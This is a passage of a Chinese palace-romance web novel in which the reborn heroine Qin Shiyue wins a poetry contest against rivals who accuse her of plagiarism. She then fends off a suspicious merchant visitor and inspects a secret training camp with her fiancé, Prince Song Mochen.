想到这儿,秦时月的眼底闪过一丝光亮,仿佛已经看到了数不尽的店铺开张大卖的景象。 三日后,诗会这天。 秦时月身着一袭淡粉色绣着桃花的罗裙,裙摆随风轻扬,宛如春日里盛开的桃花仙子。 她的头上,身上,佩戴着明月芳华新推出的珍珠翠玉发簪、步摇,配饰,行走间各种美轮美奂的首饰叮当作响,更添几分灵动之美。 她带着小荷,不紧不慢地来到赵府,赵景阳举办诗会的后花园。 刚一进出现,立刻引来了不少惊艳又羡慕的目光。 赵景阳看到秦时月的装扮,眼中闪过一丝嫉妒,但很快又恢复了高傲的神色,只是眼底,带着一丝笑里藏刀。 “县主能来本郡主这小小诗会,本郡主倍感荣幸,请。” 秦时月微微一笑,“郡主邀请,时月不敢不赏光。” 赵景阳身侧的忠勇侯府的庶女冷哼一声,轻蔑的扬声说道:“今日是郡主举办的诗会,明月县主这身装扮,莫不是要喧宾夺主?” 打扮的这样珠光宝气,也不知是要勾引谁! 秦时月挑挑眉,扫了眼赵景阳难看的脸色,轻笑一下,“我不过是觉得诗会是个雅致的场合,所以穿得应景体面些。倒是你,这般阴阳怪气,莫不是觉得,郡主买不起我身上的这身行头?” 此言一出,庶女脸色一白,慌张开口,“你,你少转移话题,郡主姐姐要什么没有?用得着你在这挑……” “闭嘴!”蠢货! 赵景阳宽大袖袍下的手紧紧攥着,脸色已经不能用难看来形容了。 谁不知,自从太后过世,皇帝为固权,担心皇权旁落,一步步收回了对赵家的恩典。 如今的赵家,表面风光,实则早已今时不同往日,财力更是大不如前。 这蠢货如此口无遮拦,不是在众人面前揭她的短吗!? 其他贵女们自从秦时月进来,议论声就没停过。 “方才我还没注意,现在才看出来,明月县主头上戴的那支步摇像是明月芳华的新品,真是好看极了。” “说的是啊,听我母亲说,明月芳华新到了一批独一无二的头面,我母亲还说这两日要带我去看看,物件儿不错的话,就买来给我当嫁妆。” “呵,东西再不错又有什么用?今日这样重要的场合,郡主必然邀请了辰王,但辰王并没有和秦时月一起过来,想必是厌弃她了。” 这时,一位身着鹅黄色长裙的贵女笑着打圆场道:“好了好了,今日诗会,大家还是以诗会友,莫要伤了和气才是。” 赵景阳强忍着怒气,皮笑肉不笑地说道:“说的是,诗会马上开始,大家请入座吧,莫要因为这些小事坏了兴致。” 众人纷纷点头,移步到了园中的亭台楼阁处。 阁楼正中间摆放着几个半透明的屏风,以此将男女席位隔开。 众人才上来,陆明昭突然冲了出来,“秦小姐,好久不见……” 他看着这个让他魂牵梦绕的女子,眼底的爱慕怎么都藏不住。 他不是没想过找秦时月,但每每都被秦时月身边的小荷挡了回去,这也导致他思念成疾,在床榻上养了好久的病。 今日若不是听说她会过来,他是决计不会过来的。 秦时月眉头一拧,挑眉扫了他一眼便收回了目光。 这陆明昭看上去,已经不似先前那般霁月清风,尤其是消瘦的脸颊,凹陷的眼眶,怎么看怎么像是个小老头。 “陆世子,这是见到佳人,情难自禁啊。”赵景阳捂嘴轻笑,眼底闪过一丝畅快。 不枉费她给他们创造这个机会。 辰王哥哥不是喜欢秦时月吗?那她就让他睁大眼看看,秦时月到底是个怎样勾三搭四的荡妇! “郡主说笑了,我与陆世子,并不相熟。”秦时月在心里翻翻白眼。 原来是在这等着她呢? 这孩童般的把戏,还真是……无趣极了。 “时月可还在怪我先前眼瞎看错了人?”见她当众要与自己撇清关系,陆明昭心里着急,突然伸手要抓她表明心迹。 秦时月眼神一凛,脚下一划,轻松躲过。 陆明昭一时刹不住车,苍白的大手一把攥住了秦时月身后的,忠勇侯府的庶女。 那庶女面上一喜,立刻娇羞的低下了头。 这年代女子名节何其珍贵,他当众与她有了肌肤之亲,他便是要娶她过门的。 陆明昭反应过来,猛地甩开庶女,面上多了一丝恼怒,“时月……” “本王来晚了。” 秦时月动怒,正要开口骂人,身后突然响起一道熟悉又让人心安的声音,是宋墨辰。 赵景阳见状,嘴角勾起一抹得意,忙凑上去挽住了他的胳膊,“辰王哥哥,你来的真巧,陆世子正在跟时月姐姐表明心迹呢。” 宋墨辰眼尾沉了一下,眉梢却挑了起来,“哦?陆世子对本王的未婚妻,表明心迹?” 他不动声色的抽出手停到秦时月身边,眉头一皱。 就在赵景阳幸灾乐祸,所有人都等着看辰王动怒的好戏的时候,他却突然解下斗篷,细细帮秦时月披上,随后,伸手包裹住了她微凉的小手。 “虽然刚入秋,但天气不稳,一早一晚有些凉气,时月还是要注意保暖才行。” 秦时月愣了一下,忍不住腹诽:好啊,他是故意的! 一方面,气陆明昭当众满口喷粪,另一方面,怕是又吃味了。 真是小心眼的男人。 看到这一幕,赵景阳嫉妒的快要疯了。 她就想不明白了,秦时月这个贱人有什么好的?当着众人的面和其他男人不清不楚,凭什么能得到辰王哥哥的专宠!? 第214章 出口成章,惊艳众人 秦时月收回思绪,撇撇嘴 看向陆明昭,语气里多了一丝警告,“女子小名可是你能随口叫的?陆世子可是要败坏我的名声,让世人唾弃我?” “不是,时月,你当知道我的心意,我没有……” “够了!”宋墨辰眸光一沉,包裹着秦时月的大手不自觉收紧,手背上青筋毕现,“陆世子认不清自己的位置,那本王就代定远侯好好教教你!来人!” 声音才落,不知从哪,突然冒出来几个黑衣带刀侍卫,上来就将陆明昭控制住。 见状,赵景阳心头一惊,忙上前求情,“辰王哥哥,陆世子是我请来的贵客,他,他许是酒吃多了些,还请辰王哥哥放他一马。” 若陆明昭在她的诗会上出事,先不说外界会传成什么样子,单说定远侯府那边就不会放过她。 想到这,她心里越发着急,甚至上手抓住了宋墨辰的胳膊。 宋墨辰眸光一寒,大手一挥,直接扫开了赵景阳,赵景阳踉跄着退后两步,幸亏被身后的丫鬟扶住,否则一定会摔个狗吃屎。 “今日本王就给景阳郡主一个面子,将他外袍扒下,丢到大街上去!” 敢觊觎他的女人,找死! “王爷!”陆明昭挣扎不开,猩红着双眼瞪着宋墨辰,“你贵为辰王又如何?你与时月并未举行大典,时月随时可以解除婚约另嫁,难不成,你要掌控她的人生吗!?” 他不服!明明时月以前最爱的就是他,若不是当初他眼瞎,他和时月已经修成正果了! “说够了吗?”秦时月拧眉,厌恶的看着陆明昭。 她几乎整个贴在宋墨辰身上,所以能够清晰的感受到他身上传来的阴冷气息,他,想杀人。 轻轻捏了捏宋墨辰的大手,以此安抚他。 然后,她才继续说道:“都说好马不吃回头草,何况我是人。即便我与辰王没有婚约,我也绝不会再和你在一起。陆明昭,我今日就把话放到这,若你日后再敢纠缠,我定与你誓不罢休!” 她的话说的宋墨辰心花怒放。 他眼神柔和,嘴角荡开了一抹温润笑意。 “咳,今日不是诗会吗?大家还是尽早入座,早点开始的好。”一个长相清俊的男子站出来打圆场。 赵景阳攥紧拳头,然后笑着请大家入座。 她也不急,京中谁人不知,长乐侯府有两位千金,养女秦可云才情艳艳,古筝弹的一绝。 而嫡长女秦时月,一无是处,目前为止,也就医术能拿的出丑,可惜,今日比拼的,可不是什么医术,她出丑的时候还在后边! 诗会的规则是,众人依次以“秋”为主题作诗,谁做的快做的多,便为胜出,当然,若做出的诗词格外惊艳,也可抵多首,算做胜出。 赵景阳作为今日的主人翁,轻咳一声,率先站了起来。 她为今日的诗会准备了多日,早就想到了好几首应景的诗词,此刻,她自信满满,一定会拿到魁首,让宋墨辰看到她的才情! “本郡主献丑了。”说着,她往前走了两步,然后看着远方的一片红叶,道:“秋风瑟瑟入明堂,落叶飘落满地黄。孤身一人相思藏,再回首,泪两行。” 吟完后,她满眼深情的看向了不远处的宋墨辰。 她借诗表意,也不知辰王哥哥能不能读懂她的心思…… 接着,其他人也纷纷吟诵,各有千秋。 秦时月坐在座位上独饮,不多时,轮到了她。 她喝的有些急,此时脸色坨红,醉意上头,媚眼如丝,却没有动作。 赵景阳见状冷哼一声。 贱人就是矫情!她一个一无是处的,此时怕是连一句都做不出! “县主这是怎么了?是不是还没想好?” 男宾那边突然传来一道嘲讽声,此话一出,阁楼里顿时响起阵阵嬉笑。 “谁人不知明月县主空有一副好皮囊,我看,大家还是不要为难她了,咱们自己玩吧。” “既如此,那我便接替秦姐姐,做上一首。”陈婉清远远看了眼宋墨辰,羞涩的笑了笑,“秋……” “秋染层林意韵长,金风送爽桂飘香。东篱把酒邀明月,他日登高,画江山。” 秦时月眸光流转,醉态朦胧中轻启朱唇,吟出诗句,声如天籁,阁楼瞬间安静下来。 众人反应过来,开始回味,先是不解,后才满眼惊艳。 赵景阳更是瞪大了眼,满脸难以置信。 她怎么也想不到,这个平日里被她视做身无长物的废物,竟然真的做出了诗句! “天啊,县主这诗,意境开阔,不落俗套,尤其最后一句,他日登高画江山,简直不是一般闺阁女子能写出来的,好诗,好诗啊!” 男席那边,立刻有人恭维。 宋墨辰淡漠的看着这一幕,只有微微勾起的唇角泄露了他的情绪。 登高画江山……他的月月,理想很远大嘛。他,也要努力一把了! 赵景阳将宋墨辰的表情收入眼底,面色阴沉,拳头不自觉的攥紧。 这个贱人,不仅在穿衣打扮上出尽风头,现在竟然还要在诗词上出尽风头,该死! “秦姐姐,你,你怎能盗用我的诗句?”陈婉清的眼底闪过一丝狠绝。 方才,明明该她出尽风头的,没想到她才开口,风头就被秦时月抢尽。 她不允许,她决不允许秦时月拿下今日的魁首! 秦时月醉眼朦胧,嘴角带笑,“你说什么?我,盗用你的诗句?” 这陈婉清是彻底不装了?也是委屈她了,为了嫁入辰王府,与自己虚与委蛇了这么久。 陈婉清咬着牙,大声说道:“没错,这首诗是我前些日子想好的,当时我只跟姐姐说过一嘴,本打算今日在诗会上一鸣惊人,没想到姐姐却……姐姐,我尊你爱你,你怎么能如此呢?” 她眼眶乏红,一副委屈到极致的模样。 京中公子、贵女皆知,她秦时月就是个棒槌,只要她咬死了这首诗是她所作,她就不信有谁会站在秦时月身边! 果然,这番话一出,众人立刻交头接耳起来。 第215章 有祸国妖妃的潜力 “我看陈婉清说的有鼻子有眼的,好像确有其事一样。” “八成是真的,量她不敢在这个场合下胡乱攀扯县主。” 平日里与陈婉清交好的,更是为陈婉清站出来证明,甚至赌上了自己的名誉,家族的荣耀。 宋墨辰眉头一拧,脸色难看,最角却勾起一抹邪肆狂狷的冷笑,“你们仅凭陈婉清一面之词便如此污蔑本王的王妃,眼里还有没有本王?” 他声音不大,气势十足。 尤其他墨眸微沉,扫向众人的一瞬间,在场的众人,除秦时月、赵景阳和几个世子、郡王外,瞬间跪了一地。 “辰王殿下莫恼,他们大概是觉得陈姑娘说的有理,毕竟这明月县主之前,可从没有过这般才情啊……”一个世子摇着折扇,笑的一脸清风朗月。 宋墨辰冷冷扫了他一眼,面色不变,“哦?本王的王妃有无才情,竟要你们评判?” 秦时月轻笑一下,仰头又喝下一杯酒。 她虽然醉意上头,但脑子却格外清醒。 她歪着头,似笑非笑地看了眼多嘴的世子,然后看向陈婉清,“大家都起来吧。陈小姐,你说这诗是你所作,可有证据?空口无凭,可不能血口喷人呐。” 陈婉清心中一慌,低着头强装镇定道:“姐姐,当日我与你说这诗的时候,我的丫鬟翠儿就在场,她可以作证。” 不一会儿,翠儿被带了上来。 这翠儿低着头,眼神闪躲,显然是心里有鬼。 她扑通一声跪地,怯怯地低着头,说道:“王爷,各位公子、小姐,当日我家小姐确实与明月县主说过这首诗。” 赵景阳见状,心中暗喜,立刻添油加醋道:“辰王哥哥你看,证据确凿,这秦时月分明就是盗用陈姑娘的诗,想以此出尽风头,如此行径,实在有辱诗会的雅兴!” 她一开口,立刻有人附和。 “县主,你就招了吧,也不是什么大事,以后不要再耍类似的小聪明也就罢了。” “就是,夫子常说,知错能改善莫大焉,县主,你还是给陈小姐道个歉,这事儿,也就过去了。” “你们看她一副不知悔改的模样,莫不是怕说了实话,被辰王府退婚?” 宋墨辰攥着酒杯的大手不断用力,啪的一声,酒杯炸裂,他的掌心被瓷片划伤,鲜血溢出,染红了他脚下的地毯。 “胆敢污蔑本王的王妃,来人,拖下去,杖毙!” 此言一出,翠儿当即被吓的抖个不停,不断磕头求饶。 世人谁不知道,当今辰王杀伐果断,又是浴血奋战出来的,一个人的生死,根本不会放在心上,更何况,翠儿只是一个小丫鬟。 陈婉清怎么都没想到,宋墨辰竟然问都不问,就要将“证人”正法。 她身子一晃,脸色惨白一片,却不敢求情。 赵景阳皱皱眉,脸色难看的上前抓住了宋墨辰的袖子,“辰王哥哥,今日是景阳举办的诗会,不宜见血,况且,这个丫鬟是人证……” 宋墨辰冷哼一声甩开她,看都不看她一眼。 他才不在乎此时是什么场景,即便是在后宫,胆敢有人攀咬时月,他也是立斩不饶的! 赵景阳心里气极,但也知道,若是今日拦不住,她赵景阳的宴会,以后怕是都没人敢来参加了。 跺跺脚,她不甘心的走到了秦时月身边,“秦时月,你非要眼睁睁看着无辜之人惨死,不打算说点什么吗?” 若是秦时月肯开口求情,那个叫翠儿的丫鬟,应该不用再血溅当场了…… 秦时月挑起狭长的眼尾看了她一眼,端着酒杯起身,脚步虚浮的走到了宋墨辰身边。 就在众人以为,她心软,打算为翠儿求情的时候,谁知她身子一歪,竟直接挂到了宋墨辰身上。 宋墨辰眉头微拧,匆忙接住她的身子,一把将她带进了怀里。 贱人!竟敢当众勾引辰王哥哥! 赵景阳又嫉又恨,脸色愈发难看。 其他人的脸色也不是很好看,但大多都是觉得秦时月行为放荡,没眼看。 秦时月将众人的反应看在眼里,在心里冷笑一声,窝在宋墨辰怀里,神态慵懒,“这些人好无趣,我梗想看红叶。” 这群人当众逼迫她,处死一个没什么分量的小丫鬟,还只是一个开端! 宋墨辰勾勾唇,眼神宠溺,“侍书,没听到王妃的话吗?赏,一丈红。” 陈婉清脸色一白,却咬着下唇,强装镇定道:“姐姐,事实俱在,你不仅不承认,还如此恶毒的怂恿王爷,难不成,非要闹得不可开交,闹到御前才好!?” 她在赌,赌这首诗不是秦时月所做,那样一来,秦时月自然不敢再放肆! 秦时月却没搭理她,只一味窝在宋墨辰怀里闭目假寐。 不过片刻,后院里就传来了翠儿惨绝人寰的叫声,直吓的在场的贵女们心惊肉跳,脸色惨白。 全程,宋墨辰都在轻拍秦时月的后背,似乎担心她会被吓到般。 侍书回来复命,秦时月缓缓睁开朦胧醉眼,而此时,陈婉清已经双腿发软的跌坐在椅子上。 秦时月冷笑一声。 这是开始担心自己会落得翠儿那样的结局了? 可惜,晚了! “证人已死,但事情还没和结论,不如这样,我与陈小姐各作一首,交给众位评判?” 秦时月此时开口,众人虽然觉得她心计深沉,但心中害怕宋墨辰,哪个敢拒绝? 赵景阳看了失魂落魄的陈婉清一眼,忍不住暗骂一声“废物”。 她本以为这次能让秦时月身败名裂,却没想到事情会发展成这样。 “陈小姐?可敢与我比试一番?”陈婉清被吓的浑身战栗,秦时月喊了一声,才唤回她的思绪。 她哆嗦一下,不敢看秦时月。 方才,她是故意的。 她分明没有醉到不省人事的地步,却偏偏蛊惑辰王处死了自己的丫鬟,她,当真狠毒! “若是不应,便是诬陷王妃的,陈婉清,你好大的胆子!”宋墨辰借用宽大袖子的遮掩,不动声色的握住秦时月的手,不断在手里把玩。 第216章 出尽风头 这次的诗会,当真无趣,早知如此,他还不如带时月去郊外游玩…… “我,臣女,应了。”陈婉清咽口唾沫,努力压下了心底的恐惧。 事已至此,她只能硬着头皮迎战! “为防小人再次诬陷,郡主,劳烦你的人取趟笔墨。” 秦时月感受到了一个异物,她俏脸一红,挣扎着想起身,却被宋墨辰一把按住,“乖,别乱动。” 宋墨辰凑到秦时月耳边,灼热的呼吸几乎烫的她耳根发麻。 他也不想的,可他是个正常男子,温香软玉在怀,无时无刻不在撩拨着他的神经。 可即便如此,他还在努力克制着,毕竟,人多、嘴杂。 秦时月脸红的像是快要滴出血,可行为上,却安分了。 不多时,赵景阳的婢女分别送来两套笔墨纸砚。 在赵景阳看来,秦时月没有半分文采,尤其在江南养病三年,根本没机会舞文弄墨,怕是一会,连个像样的字帖都拿不出来。 “放开,我要下去写诗了。”察觉到腰间的温度还在攀升,秦时月咬咬下唇,低声道。 宋墨辰低笑一声,不舍的放开了手。 秦时月走到桌案前,拿笔就写,不到一盏茶的功夫,她小手一挥,沾染着墨渍的毛笔被随手丢弃。 而陈婉清心惊肉跳,但也走到另一张桌案前,心慌得拿起了毛笔。 只是因为心慌,她不断发抖,手上有些不受控制,直到秦时月收笔,她也才写了不过两句。 众人只得先围到秦时月身边,查看她写下的诗句。 【万里秋风卷地开,胸怀丘壑与天比。巾帼志取江山色,立马看尽九垓埃!】 “好诗!” “天啊,没想到,一个女子,也能如此胸怀大志,在下望尘莫及。” “原以为明月县主就是个棒槌,没想到,她不仅写了一手好字,而且有心怀天下的大志,在下服了!” 宋墨辰始终没有挪动过,只是在听到这些赞扬的时候,他嘴角微勾,眼中满是自豪。 他的月月是九天上翱翔的凰,是这世间,唯一能和他比肩,共看世间繁华的女王! 陈婉清那边,字体歪歪扭扭,原本只写到了一半,听到众人的赞美,再也写不下去。 她紧张不已,额头上不断有冷汗滑下,更因为心虚,呼吸都变的有些急促。 赵景阳不甘心地咬着牙,狠狠瞪着秦时月,心中嫉妒不已。 她怎么也想不明白,这个往日里就是个大草包的秦时月,怎么突然变得如此厉害。 赵景阳哪里能知道,这些东西,都是秦时月死后,被困后宅时,东方苑所授。 “陈小姐,你的诗呢?”秦时月歪着脑袋,笑问。 陈婉清嘴唇颤抖,“我……我还没写完。” “哦?看来陈小姐今日状态不佳啊。”秦时月巧笑倩兮,眼底却闪过一丝冷芒,“京中都说礼部尚书嫡女惊才艳艳,可如今看来,一首诗都要浪费上不少时间,那这惊才艳艳的名头,是不是该换人了?” 呵,一个个固步自封,什么京中第一才女,什么第一贵女,什么惊才艳艳,在她秦时月看来,都是徒有虚名! “你……”陈婉清被秦时月的话气得脸色涨红,却又无话可说。 她心里清楚,自己今天怕是要栽在这里了,但又实在不甘心就这么认输。 “秦时月,你别太得意,就算你作了一首又如何?这也证明不了刚刚的那首诗是你所作!”陈婉清抵死不认。 此时她声誉受损,若是再承认刚刚的事都是她诬陷的,别说嫁入王府了,就是寻常的举子,怕是都瞧不上她。 “本王的王妃,才情过人,事实如何,众人心中该有一杆秤,何须向你们证明?”话落,宋墨辰长臂一伸,直接将秦时月打横抱起。 他的月月喝了不少酒,他实在不能容忍她这番娇媚入骨的样子被外人看去! 说完,他不再理会众人,带着秦时月潇洒离去。 只留下一群或惊叹或嫉妒,一脸阴狠的赵景阳、一脸绝望的陈婉清…… 长乐侯府。 肖嬷嬷看着被抱在怀里的秦时月,眼底闪过一丝笑意。 王爷待她家姑娘真好,只是,他们二人还没行大婚典礼,现在就这样不遮掩,传出去,恐怕会坏了姑娘名声…… 待宋墨辰安置好秦时月,肖嬷嬷送宋墨辰出府时,忍不住想提醒。 张了张嘴,最终没有胆量说出来。 罢了,等姑娘醒了,她跟姑娘说吧…… 秦时月这一觉直接睡到了第二日的日上三竿。 期间小荷叫过两次,却始终没能叫起来。 眼看日上三竿,小荷匆匆冲了进来。 “小姐,不好了!” “出什么事了?”秦时月睁开沉重的眼皮,抬手捏了捏眉心。 能让小荷这般紧张,想来不是小事。 “是,是褚公子登门了!” “你说什么?” 秦时月蓦的睁大双眼,瞬间翻身坐起。 褚良才?他怎么找过来了?难不成,他们调查褚良才的事,被他察觉到了? “小姐?” “给我梳妆吧。”秦时月眼神微沉,面色平静的说道。 不论是什么原因,这里是侯府,量他也不敢乱来! 小荷赶忙应了一声,手脚麻利地为她梳妆打扮。 秦时月坐在铜镜前,思绪快速转动。 褚良才突然登门绝非偶然,说不定与他们暗中调查之事真的有关系。 前厅。 秦时月一眼便看到了正和长乐侯谈笑风声的褚良才。 他身着一袭淡青色长袍,面容白皙,嘴角挂着一丝若有若无的微笑,可在秦时月眼中,这笑容似乎透着几分让人捉摸不透的意味。 “不知褚公子今日到访,所为何事?”秦时月微微福身,语气带笑,不失礼数。 褚良才连忙起身回了一礼,笑道:“多日不见,秦小姐可还好?” 长乐侯看到这一幕,忍不住皱了皱眉头。 方才谈话间,他总觉得这个褚良才对秦时月表现出的兴趣太大,让他有些不安。 秦时月心中的警惕更甚,面上却依旧带着淡淡的笑意,“褚公子客气了,我在自己家能有何事?” 第217章 褚良才来访,不怀好意 褚良才轻轻一笑,眼中闪过一丝不易察觉的笑意,“实不相瞒,昨日听闻秦小姐在诗会上大放异彩,在下心中钦佩不已,特来拜访,想与秦小姐讨教一二。” 秦时月在心里冷笑一声,这借口未免太过牵强。 她眼珠子一转,不动声色地说道:“褚公子谬赞了,不过是一时兴起,随意作了几首诗罢了,哪值得褚公子特意跑一趟?” 长乐侯在一旁听着,心中愈发觉得不对劲。 这个褚良才表面看,一副谦谦君子的模样,可今日登门,与他探讨之事,都是商贾之道,现在面对秦时月又是一个说辞,实在可疑。 他忍不住开口道:“褚公子,本侯突然想到,晚些时候约了朋友一起用膳,今天不方便,便不留你了。” 褚良才却好似没听出长乐侯的逐客之意,依旧面带微笑,“侯爷有事尽管去办,在下这边,有秦小姐招待就是了。” 秦时月眼神微闪,眼底多了一丝冷意。 这褚良才,果然来者不善,看来,在达成他的目的前,想请他离开,是几乎不可能的。 “褚公子……”长乐侯脸色有些难看。 谁不知道秦时月与辰王有婚约,这个男子竟然不知避嫌,若是传出去了,陛下怪罪下来…… “父亲。”秦时月笑盈盈的开口,“我与褚公子是旧相识,府中下人众多,且褚公子乃是正人君子。”她话尽于此,却直接提醒了两个人。 请褚良眸底带笑,笑意不达眼底。 她这是在提醒他还是在警告他?呵,真是有趣! 长乐侯甩袖离开后,秦时月命小荷亲自为他添了一杯新茶,然后说道:“褚公子,这里没有外人,请直接说吧。” 褚良才端起茶杯,轻抿一口,缓缓说道:“我今日来就是向秦小姐领教诗词的,难不成,秦小姐以为,我有什么目的?” 秦时月心中冷笑,这哪里是讨教诗词的态度?分明是在试探她! 她收回思绪,端起茶水喝了一口,“褚公子言重……” “最近京中的传言可真多呀,听闻秦小姐不通文墨,又在江南养病三年,想必,这三年定是读了不少好书,所以才能在诗会上一举出名。”褚良才打断她,笑道。 秦时月心中一凛,没想到他对自己的事情了解得如此清楚,看来,暗中没少调查自己。 她在心里冷哼一声,笑道:“江南风景秀丽,人心也静,确实读了些书,增长了些见识。” 褚良才看着秦时月,眼神愈发深邃,“说的是。外界都传秦小姐素质兰心,是个读数的料子,可在下看来,一个人再怎么改变,也不可能改变如此之大,秦小姐,你说呢?” 秦时月心中咯噔一下,眼神暗了暗。 他这话是什么意思!? “呵呵,秦小姐何故这么紧张?我不过是胡言乱语罢了,秦小姐就是秦小姐,还能是他人换了皮囊不成?”说完,褚良才起身,缓缓走向她。 那看透一切的墨眸里,倒映着秦时月略显不安的神情。 她是重生回来的,那些技能,都是在死后,跟着东方苑学的,只是这件事,除她自己之外,无第二个人知晓,外人也绝没有可能查出来。 唯一的可能性,大概是她变化太大,再加上这段时间她和宋墨辰对褚良才的围追堵截太紧,所以引起了他的怀疑和反击。 想到这些,秦时月镇定不少,眉眼也多了丝笑意。 “褚公子这话说的,倒像是我做了什么亏心事一般。”秦时月仰头迎上他的目光,眼神坦然,“人总是会成长的,我在江南三年,虽在养病,但也经历诸多,自然与从前不同。” 褚良才停住脚步,微微眯起双眼,似乎在审视她,片刻后,他轻笑一声,转身回到座位上坐下。 来之前,他是生气的。 气她不知怎的,非要揪着他不放。 明明……他已经想放下先前那些事,用“褚良才”的身份,简简单单和她相处了,可她却偏要和宋墨辰一起,对他步步紧逼。 所以他今天特意登门,明明想利用自己掌控的那些信息吓吓这个小没良心的,没想到,真面对她时,他又舍不得了。 “对了,听说西市那边今日有一批上好的药材要进行售卖,秦小姐不去看看吗?”褚良才恢复了先前无害的样子,笑问。 可也正是因为这样,秦时月的心里敲响了警钟。 这褚良才,是个善于伪装的。 “我……” “本王的王妃要去,也是本王陪着,褚公子此举,不觉得太过唐突了?” 门口,突然响起宋墨辰低沉又暗含威压的声音。 秦时月眨眨眼扭头看去,怎么也没想到,他会过来。 只见宋墨辰迈着沉稳的步伐走进厅内,他今日身着一袭玄色暗云纹锦袍,身姿挺拔,目不斜视。 褚良才攥紧茶杯,心里闪过一丝恼怒,但下一秒,脸上又浮现出那副温润无害的笑容。 他起身拱手道:“参见辰王殿下。在下只是觉得秦小姐开办医馆,定然对各种药材感兴趣,便口一提,并无他意。” 宋墨辰走到秦时月身边,长臂一伸,直接将她搂进怀里。 这霸气宣誓主权的动作,不仅让秦时月羞红了脸,更让褚良才的神色变了又变。 “本王王妃的事,还轮不到褚公子操心。褚公子身为商贾,不在生意场上好好经营,却来侯府找本王的王妃,是何居心?” 秦时月心中想笑。 这厮怕是又吃味了。 不过,这个节骨眼上,不能让场面太过僵持,否则,不利于后续对褚良才的调查。 想到这,她拉了拉宋墨辰的衣袖,“王爷,褚公子先前就和我有生意上的往来,刚才的话,应该真的只是随口一提。” 说着,她又看向褚良才,“抱歉褚公子,我与王爷还有要事相商,就不亲自相送了,小荷,送客。” 人在这,有许多话都不方便询问,送他离开,她才能和宋墨辰畅所欲言。 褚良才捏紧拳头,虽然不甘心,但也知道,此时,天时、地利、人和,他一样不占,不能冒失。 第218章 嫌疑人 他松开拳头,恢复了一脸温和,对着秦时月和宋墨辰微微躬身,“那在下就先行告辞了,改日再来拜访。” 说完,便随着小荷离开了。 宋墨辰看着褚良才离去的背影,眼神冰冷,仿佛要将其看穿。 待褚良才的背影消失,他才低下头看向秦时月,“月月,他有没有对你怎么样?” 秦时月轻轻摇了摇头,“他倒是没做什么,只是言语中对我在诗会上的表现有些怀疑。” 褚良才不仅对她的表现有所怀疑,而是对她这个人……产生了怀疑。 只是这种事,还是不要告诉宋墨辰了,免得他担心。 宋墨辰眉头紧皱,“我今日来,正是要跟你说他的事,影夜那边调查到了一些事,这个褚良才,不简单,我怀疑,他并非靖垣王朝的人。” “是有什么证据吗?”秦时月心中一惊。 她相信宋墨辰,但若是没证据,他们也拿褚良才没有办法。 “影夜还在调查,这个褚良才行事谨慎,影夜都差点暴露。” “那武正元那边呢?褚良才可去见过?”秦时月皱皱眉,想到了武正元这个关键的人。 “没有。”宋墨辰有些无奈,正因为无人关注武正元,所以他才不能确定褚良才的真实身份。 不过,他已经派人去周边几个国家查了,他相信,用不了多久,就会有消息传回来。 “对了月月,我此次过来,还有一件事要告诉你。”宋墨辰拉着她坐下,“这段时间众朝臣对杨太师的奏折没有断过,今日早朝,皇上终于做出裁决,不仅罢免了杨太师的官职,还下令抄家,不出意外的话,他下午就回启程回老家。” 秦时月眉头微挑,眼中闪过一丝杀意,“你是怎么想的?” “跟月月想的一样,斩草除根。”宋墨辰轻笑,狭长的墨眸里闪过一丝冷意。 为防死灰复燃,杨太师,必死! 秦时月噗嗤一笑,突然觉得,他们好像太残忍了。 不过,好不容易将杨太师拉下马,确实不能轻易放过,而且,将来宋墨辰想要坐上那个位置,就绝对不能留下杨太师。 “这种事你不用费心,交给影夜他们,他们自然能处理好。”宋墨辰捏了捏她的小手,“方才褚良才说西市有药,你要去看看吗?” 秦时月收回思绪摇摇头,“不必了,医馆暂时不缺药,不如,你陪我去西郊一趟吧?” “怎么突然想去西郊?不放心吗?” “不知道,今天褚良才突然过来说了些话,我有些担心。” 虽然西郊的基地全部在宋墨辰的掌控中,但这段时间吸收的人有些多,保不齐有混进去的家伙,所以她想走一趟。 西郊,半山腰,一处极为隐秘的营地。 秦时月和宋墨辰抵达时,负责此地的影九立刻迎了过来,并恭敬的奉上两个面具。 “主子!” “基地一切可还正常?”宋墨辰带上面具,神色严肃地问道。 这里是他们专门培养杀手、暗卫的地方,为防意外,宋墨辰和秦时月的身份,除王府出来的那几个暗卫,无人知晓。 “回主子,一切正常。”影九虽然不懂主子为何这样问,但还是如实回答。 秦时月却没有这么轻易相信,她带上面具,脱口问到,“最近可有新人加入?” “回主子,确实刚来了一批新人,不过都按照流程,经过了严格的审查,并无异常。” 秦时月微微皱眉,和宋墨辰交换个眼神,道:“带我们去看看那些新人的名册,另外,让所有人在训练场集合。” 影九不敢怠慢,应下后,自己去取名册,让令外一人去召集众人。 拿到名册后,秦时月仔细翻阅,每一个名字,每一条登记信息,都不放过。 突然,她的手指停留在一个名字上——陈楚风。 这个名字看起来并无特别之处,但祖籍那栏竟然写着:南境边境。 宋墨辰注意到了她的异样,凑过来一看,眼神瞬间锐利起来。 “这个人,重点调查。” 寻常人或许发现不了,但他常年驻守边关,靖垣王朝的边境,就像他的后花园。 南境边境,压根没有陈姓人家! 但也不能排除对方是这一两年搬迁过去的,所以,最好的方法是,查! 影九领命离开,立刻安排人手去调查这个陈风,而秦时月和宋墨辰则转而去了训练场。 训练场中,一众新人早已整齐列队。 两人戴着面具走上高台,冷峻的神色在面具的遮掩下让人看不透。 台下众人皆是目不斜视,静静等待着指令,然而人群中的一些细微动作还是没能逃过秦时月敏锐的目光。 她站在高台,将众人的表情尽收眼底,她发现,队伍里有几个人看似镇定,可看着他们的眼神却有细微变化,这让她立刻警惕起来。 宋墨辰扫视全场,故意压着声线,道:“我们今日过来是要检验你们这段时间的训练成果,不论是谁,成绩优异者,有重赏。” 说是检验,内容并不复杂,就是简单的对抗,从体能、身手、临场反应几方面。 对抗开始,众人各展身手,其中不乏实力出众者,很快吸引了秦时月和宋墨辰的注意,其中就有那个叫陈楚风。 “主子,他就是陈楚风。” “嗯,他进来后表现怎么样?” “进步神速,他进来一月余,已经能够独自接一些简单的任务了。”影九恭敬答道。 秦时月挑挑眉,嘴角多了一丝笑意。 是真的进步神速,还是进基地前故意隐瞒身手,后为了挤进核心位置,才表现出了进步神速? “夫人可是想到了什么?”见她深思,宋墨辰眸光带笑,问道。 “还没有,不过,这位,确实该好好查查。”说着,她又眼神询问,其余几个,方才表现出不对劲的人。 影九一一将他们的名字说了出来,然后问道:“主子,可是要严密监视?” “先查查他们的底细,没问题的话,按照正常步骤打磨,若是有问题……及时来报。” 若他们真的有问题,也该给他们创造点机会! 第219章 褚良才的真实身份 